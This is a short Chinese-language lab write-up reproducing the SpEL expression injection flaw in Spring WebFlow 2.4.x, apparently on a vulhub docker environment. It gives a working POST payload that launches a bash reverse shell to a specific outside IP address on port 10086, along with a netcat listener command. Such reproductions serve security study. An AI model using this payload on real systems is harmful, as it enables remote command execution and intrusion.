漏洞原理:
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
漏洞复现:
步骤一:启动环境
docker-compose up -d
步骤二:访问http://ip:8080/hotels/1
步骤三:点击book hotels 旁边几个账号密码随便登陆一个
步骤四:随便输入一些内容然后点击Procced,在点击Confirm时候抓包
步骤五:进行反弹
&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/101.200.184.111/10086+0>%261")).start()=vulhub
ps:POST内容增加如下,一定注意这个是有csrf的token的,所以我们重放是没用的,只能在forward的时候改,改完转发
对10086端口进行监听
nc -lnvp 10086
成功反弹
总结:
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架,数据绑定时field被控制,导致SpEL注入,造成任意命令执行漏洞